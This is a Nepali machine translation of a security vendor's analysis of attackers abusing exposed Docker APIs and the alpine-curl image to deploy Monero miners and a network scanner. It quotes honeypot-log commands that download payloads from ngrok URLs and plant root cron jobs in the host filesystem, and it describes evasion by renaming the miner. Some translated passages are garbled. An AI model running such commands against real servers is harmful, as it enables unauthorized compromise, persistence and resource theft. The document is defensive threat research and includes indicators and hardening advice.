कसरी गैर-स्वामित्व डकर API र समुदायबाट सार्वजनिक छविहरू क्रिप्टोकरेन्सी खानीहरू वितरण गर्न प्रयोग भइरहेका छन्

हामीले हनीपोट कन्टेनरहरू प्रयोग गरेर सङ्कलन गरिएका डाटाहरू विश्लेषण गर्यौं, जुन हामीले खतराहरू ट्र्याक गर्न सिर्जना गरेका थियौं। र हामीले डकर हबमा सामुदायिक-प्रकाशित छवि प्रयोग गरेर बदमाश कन्टेनरको रूपमा तैनाथ गरिएका अनावश्यक वा अनाधिकृत क्रिप्टोकरेन्सी खानीहरूबाट महत्त्वपूर्ण गतिविधि पत्ता लगायौं। छवि खराब क्रिप्टोकरेन्सी खानीहरूलाई डेलिभर गर्ने सेवाको अंशको रूपमा प्रयोग गरिन्छ।

थप रूपमा, नेटवर्कहरूसँग काम गर्ने कार्यक्रमहरू खुला छिमेकी कन्टेनरहरू र अनुप्रयोगहरू घुसाउन स्थापना गरिएका छन्।

हामी हाम्रा हनीपोटहरू जस्तै, पूर्वनिर्धारित सेटिङहरूसँग, कुनै सुरक्षा उपायहरू वा थप सफ्टवेयरको पछि स्थापना बिना नै छोड्छौं। कृपया ध्यान दिनुहोस् कि डकरसँग त्रुटिहरू र साधारण कमजोरीहरूबाट बच्नको लागि प्रारम्भिक सेटअपको लागि सिफारिसहरू छन्। तर प्रयोग गरिएको हनीपोटहरू कन्टेनरहरू हुन्, कन्टेनराइजेशन प्लेटफर्ममा लक्षित आक्रमणहरू पत्ता लगाउन डिजाइन गरिएको, कन्टेनरहरू भित्रका अनुप्रयोगहरू होइन।

पत्ता लगाइएको दुर्भावनापूर्ण गतिविधि पनि उल्लेखनीय छ किनभने यसलाई कमजोरीहरू आवश्यक पर्दैन र डकर संस्करणबाट पनि स्वतन्त्र छ। गलत तरिकाले कन्फिगर गरिएको, र त्यसकारण खुला, कन्टेनर छवि फेला पार्नु भनेको आक्रमणकारीहरूले धेरै खुला सर्भरहरूलाई संक्रमित गर्न आवश्यक छ।

अनक्लोज्ड डकर एपीआईले प्रयोगकर्तालाई विस्तृत दायरा प्रदर्शन गर्न अनुमति दिन्छ टोलीहरु, चलिरहेको कन्टेनरहरूको सूची प्राप्त गर्ने, विशेष कन्टेनरबाट लगहरू प्राप्त गर्ने, सुरु गर्ने, रोक्ने (जबरदस्ती सहित) र निर्दिष्ट सेटिङहरूको साथ एक विशेष छविबाट नयाँ कन्टेनर सिर्जना गर्ने सहित।

बाँयामा मालवेयर डेलिभरी विधि छ। दायाँपट्टि आक्रमणकारीको वातावरण छ, जसले छविहरूको रिमोट रोल आउट गर्न अनुमति दिन्छ।

3762 ओपन डकर API को देश अनुसार वितरण। Shodan खोज मिति 12.02.2019/XNUMX/XNUMX मा आधारित

आक्रमण चेन र पेलोड विकल्पहरू

दुर्भावनापूर्ण गतिविधि हनीपोट्सको मद्दतले मात्र पत्ता लगाइएको थिएन। मोनेरो क्रिप्टोकरेन्सी माइनिङ सफ्टवेयर प्रयोग गर्नको लागि पुलको रूपमा प्रयोग गरिएको गलत कन्फिगर गरिएको कन्टेनरको अनुसन्धान गरेपछि खुला डकर एपीआई (दोस्रो ग्राफ हेर्नुहोस्) को संख्या बढेको छ भनी Shodan बाट डाटाले देखाउँछ। गत वर्ष अक्टोबरमा (2018, हालको डाटा तपाईं यो जस्तै हेर्न सक्नुहुन्छ लगभग। अनुवादक) त्यहाँ केवल 856 खुला API हरू थिए।

हनीपोट लगहरूको परीक्षणले देखाएको छ कि कन्टेनर छवि प्रयोग पनि प्रयोगसँग सम्बन्धित थियो ngrok, सुरक्षित जडानहरू स्थापना गर्न वा सार्वजनिक रूपमा पहुँचयोग्य बिन्दुहरूबाट निर्दिष्ट ठेगानाहरू वा स्रोतहरूमा ट्राफिक फर्वार्ड गर्ने उपकरण (उदाहरणका लागि लोकलहोस्ट)। यसले आक्रमणकर्ताहरूलाई खुला सर्भरमा पेलोड डेलिभर गर्दा गतिशील रूपमा URL हरू सिर्जना गर्न अनुमति दिन्छ। तल ngrok सेवाको दुरुपयोग देखाउने लगहरूबाट कोड उदाहरणहरू छन्:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

तपाईले देख्न सक्नुहुने रूपमा, अपलोड गरिएका फाइलहरू लगातार परिवर्तन गरिएका URL बाट डाउनलोड हुन्छन्। यी URL हरूको म्याद सकिने मिति छोटो छ, त्यसैले म्याद सकिने मिति पछि पेलोडहरू डाउनलोड गर्न सकिँदैन।

त्यहाँ दुई पेलोड विकल्पहरू छन्। पहिलो लिनक्सको लागि कम्पाइल गरिएको ELF माइनर हो (Coinminer.SH.MALXMR.ATNO को रूपमा परिभाषित) जुन खनन पूलमा जडान हुन्छ। दोस्रो स्क्रिप्ट (TrojanSpy.SH.ZNETMAP.A) हो जुन नेटवर्क दायराहरू स्क्यान गर्न र त्यसपछि नयाँ लक्ष्यहरूको खोजी गर्न प्रयोग गरिने निश्चित नेटवर्क उपकरणहरू प्राप्त गर्न डिजाइन गरिएको हो।

ड्रपर स्क्रिप्टले दुई चरहरू सेट गर्दछ, जुन त्यसपछि क्रिप्टोकरेन्सी माइनर प्रयोग गर्न प्रयोग गरिन्छ। HOST चरले URL समावेश गर्दछ जहाँ मालिसियस फाइलहरू अवस्थित छन्, र RIP भेरिएबल तैनाथ गरिने खानीको फाइल नाम (वास्तवमा, ह्यास) हो। HOST चर प्रत्येक पटक ह्यास चर परिवर्तन हुँदा परिवर्तन हुन्छ। स्क्रिप्टले आक्रमण गरिएको सर्भरमा कुनै अन्य क्रिप्टोकरेन्सी माइनरहरू चलिरहेको छैन भनेर पनि जाँच गर्ने प्रयास गर्दछ।

HOST र RIP चरका उदाहरणहरू, साथै अन्य कुनै खानी कामदारहरू चलिरहेको छैन भनी जाँच गर्न प्रयोग गरिने कोड स्निपेट

खानी सुरु गर्नु अघि, यसलाई nginx मा पुन: नामाकरण गरिएको छ। यस स्क्रिप्टको अन्य संस्करणहरूले लिनक्स वातावरणमा उपस्थित हुन सक्ने अन्य वैध सेवाहरूमा खानीको नाम परिवर्तन गर्दछ। यो सामान्यतया चलिरहेको प्रक्रियाहरूको सूची विरुद्ध जाँच बाइपास गर्न पर्याप्त छ।

खोज लिपिमा पनि सुविधाहरू छन्। यसले आवश्यक उपकरणहरू प्रयोग गर्न समान URL सेवासँग काम गर्दछ। तिनीहरू मध्ये zmap बाइनरी हो, जुन नेटवर्कहरू स्क्यान गर्न र खुला पोर्टहरूको सूची प्राप्त गर्न प्रयोग गरिन्छ। स्क्रिप्टले अर्को बाइनरी पनि लोड गर्दछ जुन फेला परेका सेवाहरूसँग अन्तरक्रिया गर्न प्रयोग गरिन्छ र फेला पारिएको सेवा (उदाहरणका लागि, यसको संस्करण) बारे थप जानकारी निर्धारण गर्न तिनीहरूबाट ब्यानरहरू प्राप्त गर्न प्रयोग गरिन्छ।

स्क्रिप्टले स्क्यान गर्नका लागि केही नेटवर्क दायराहरू पनि पूर्व-निर्धारित गर्दछ, तर यो लिपिको संस्करणमा निर्भर गर्दछ। यसले सेवाहरूबाट लक्षित पोर्टहरू पनि सेट गर्दछ - यस अवस्थामा, डकर - स्क्यान चलाउनु अघि।

सकेसम्म चाँडो लक्ष्यहरू फेला परेपछि, ब्यानरहरू स्वचालित रूपमा तिनीहरूबाट हटाइन्छ। स्क्रिप्टले सेवाहरू, अनुप्रयोगहरू, कम्पोनेन्टहरू वा चासोको प्लेटफर्महरूको आधारमा लक्ष्यहरू पनि फिल्टर गर्दछ: Redis, Jenkins, Drupal, MODX, Kubernetes मास्टर, डकर 1.16 ग्राहक र Apache CouchDB। यदि स्क्यान गरिएको सर्भर तिनीहरू मध्ये कुनैसँग मेल खान्छ भने, यो पाठ फाइलमा बचत हुन्छ, जुन आक्रमणकारीहरूले पछि विश्लेषण र ह्याकिङको लागि प्रयोग गर्न सक्छन्। यी पाठ फाइलहरू गतिशील लिङ्कहरू मार्फत आक्रमणकर्ताहरूको सर्भरमा अपलोड हुन्छन्। त्यो हो, प्रत्येक फाइलको लागि छुट्टै URL प्रयोग गरिन्छ, जसको मतलब पछिको पहुँच गाह्रो छ।

आक्रमण भेक्टर एक डकर छवि हो, जस्तो कि कोडको अर्को दुई टुक्राहरूमा देख्न सकिन्छ।

शीर्षमा वैध सेवामा पुन: नामकरण गरिएको छ, र तल zmap कसरी नेटवर्कहरू स्क्यान गर्न प्रयोग गरिन्छ।

शीर्षमा पूर्वनिर्धारित नेटवर्क दायराहरू छन्, तल डकर सहित सेवाहरू खोज्नका लागि विशेष पोर्टहरू छन्।

स्क्रिनसटले देखाउँछ कि अल्पाइन कर्ल छवि 10 मिलियन भन्दा बढी पटक डाउनलोड गरिएको छ

अल्पाइन लिनक्स र कर्लमा आधारित, विभिन्न प्रोटोकलहरूमा फाइलहरू स्थानान्तरण गर्नको लागि संसाधन-कुशल CLI उपकरण, तपाईंले निर्माण गर्न सक्नुहुन्छ। डकर छवि। तपाईंले अघिल्लो छविमा देख्न सक्नुहुन्छ, यो छवि पहिले नै 10 मिलियन भन्दा बढी पटक डाउनलोड गरिएको छ। डाउनलोडहरूको ठूलो संख्याको मतलब यो छविलाई प्रविष्टि बिन्दुको रूपमा प्रयोग गर्नु हो; यो छवि छ महिना भन्दा बढी पहिले अद्यावधिक गरिएको थियो; प्रयोगकर्ताहरूले प्राय: यस भण्डारबाट अन्य छविहरू डाउनलोड गरेनन्। Docker मा प्रवेश बिन्दु - यसलाई चलाउन कन्टेनर कन्फिगर गर्न प्रयोग गरिएको निर्देशनहरूको सेट। यदि प्रविष्टि बिन्दु सेटिङहरू गलत छन् (उदाहरणका लागि, कन्टेनर इन्टरनेटबाट खुला छोडिएको छ), छविलाई आक्रमण भेक्टरको रूपमा प्रयोग गर्न सकिन्छ। आक्रमणकारीहरूले यसलाई पेलोड डेलिभर गर्न प्रयोग गर्न सक्छन् यदि उनीहरूले गलत कन्फिगर गरिएको वा खुला कन्टेनरलाई असमर्थित छोडेको पाइन्छ भने।

यो नोट गर्न महत्त्वपूर्ण छ कि यो छवि (अल्पाइन-कर्ल) आफैमा दुर्भावनापूर्ण छैन, तर तपाईले माथि देख्न सक्नुहुन्छ, यो दुर्भावनापूर्ण कार्यहरू गर्न प्रयोग गर्न सकिन्छ। समान डकर छविहरू पनि खराब गतिविधिहरू प्रदर्शन गर्न प्रयोग गर्न सकिन्छ। हामीले डकरलाई सम्पर्क गर्यौं र यस मुद्दामा उनीहरूसँग काम गर्यौं।

सिफारिसहरू

गलत सेटिङ बाँकी निरन्तर समस्या धेरै कम्पनीहरूको लागि, विशेष गरी कार्यान्वयन गर्नेहरू DevOpsद्रुत विकास र वितरणमा केन्द्रित। लेखापरीक्षण र अनुगमन नियमहरूको पालना गर्नुपर्ने आवश्यकता, डाटा गोप्यता अनुगमन गर्ने आवश्यकता, साथै तिनीहरूको गैर-अनुपालनबाट हुने ठूलो क्षतिले सबै कुरा बढेको छ। विकास जीवनचक्रमा सुरक्षा स्वचालन समावेश गर्नाले तपाईंलाई सुरक्षा प्वालहरू फेला पार्न मद्दत गर्दछ जुन अन्यथा पत्ता नलाग्ने हुन सक्छ, तर यसले तपाईंलाई अनावश्यक कार्यभार कम गर्न मद्दत गर्दछ, जस्तै प्रत्येक पत्ता लगाइएको भेद्यता वा अनुप्रयोग प्रयोग गरिसकेपछि गलत कन्फिगरेसनको लागि अतिरिक्त सफ्टवेयर निर्माणहरू चलाउन।

यस लेखमा छलफल गरिएको घटनाले निम्न सिफारिसहरू सहित सुरुदेखि नै सुरक्षालाई ध्यानमा राख्नुपर्ने आवश्यकतालाई हाइलाइट गर्दछ:

• प्रणाली प्रशासकहरू र विकासकर्ताहरूका लागि: सँधै तपाइँको API सेटिङहरू जाँच गर्नुहोस् कि निश्चित सर्भर वा आन्तरिक नेटवर्कबाट मात्र अनुरोधहरू स्वीकार गर्न सबै कुरा कन्फिगर गरिएको छ।
• न्यूनतम अधिकारको सिद्धान्त पालना गर्नुहोस्: सुनिश्चित गर्नुहोस् कि कन्टेनर छविहरू हस्ताक्षरित र प्रमाणित छन्, महत्वपूर्ण घटकहरूमा पहुँच सीमित गर्नुहोस् (कन्टेनर प्रक्षेपण सेवा) र नेटवर्क जडानहरूमा इन्क्रिप्सन थप्नुहोस्।
• पछ्याउन सिफारिसहरू र सुरक्षा संयन्त्र सक्षम पार्नुहोस्, उदाहरणका लागि डकरबाट र बिल्ट-इन सुरक्षा सुविधाहरू.
• कन्टेनरमा चलिरहेको प्रक्रियाहरूको बारेमा थप जानकारी प्राप्त गर्न रनटाइम र छविहरूको स्वचालित स्क्यानिङ प्रयोग गर्नुहोस् (उदाहरणका लागि, स्पूफिङ पत्ता लगाउन वा कमजोरीहरूको खोजी गर्न)। अनुप्रयोग नियन्त्रण र अखण्डता निगरानीले सर्भर, फाइलहरू, र प्रणाली क्षेत्रहरूमा असामान्य परिवर्तनहरू ट्र्याक गर्न मद्दत गर्दछ।

Trendmicro ले DevOps टोलीहरूलाई सुरक्षित रूपमा निर्माण गर्न, छिट्टै रोल आउट गर्न र जहाँसुकै सुरु गर्न मद्दत गर्छ। ट्रेन्ड माइक्रो हाइब्रिड क्लाउड सुरक्षा संगठनको DevOps पाइपलाइनमा शक्तिशाली, सुव्यवस्थित, र स्वचालित सुरक्षा प्रदान गर्दछ र बहुविध खतरा सुरक्षा प्रदान गर्दछ। XGen रनटाइममा भौतिक, भर्चुअल र क्लाउड वर्कलोडहरू सुरक्षित गर्न। यसले कन्टेनर सुरक्षा पनि थप्छ गहिरो सुरक्षा и गहिरो सुरक्षा स्मार्ट जाँच, जसले डकर कन्टेनर छविहरू विकास पाइपलाइनको कुनै पनि बिन्दुमा मालवेयर र कमजोरीहरूका लागि स्क्यान गर्दछ तिनीहरूलाई तैनात गर्नु अघि खतराहरू रोक्न।

सम्झौताको संकेत

सम्बन्धित ह्यासहरू:

• 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
• f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

मा डकर भिडियो कोर्स अभ्यास गर्ने वक्ताहरूले सम्भावना कम गर्न वा माथि वर्णन गरिएको अवस्थाको घटनालाई पूर्णतया बेवास्ता गर्न पहिले कुन सेटिङहरू बनाउन आवश्यक छ भनेर देखाउँछन्। र अगस्त 19-21 मा एक अनलाइन गहन मा DevOps उपकरण र धोखाहरू तपाईंले यी र यस्तै सुरक्षा समस्याहरू सहकर्मीहरू र अभ्यास गर्ने शिक्षकहरूसँग गोल टेबलमा छलफल गर्न सक्नुहुन्छ, जहाँ सबैले बोल्न र अनुभवी सहकर्मीहरूको पीडा र सफलताहरू सुन्न सक्छन्।

स्रोत: www.habr.com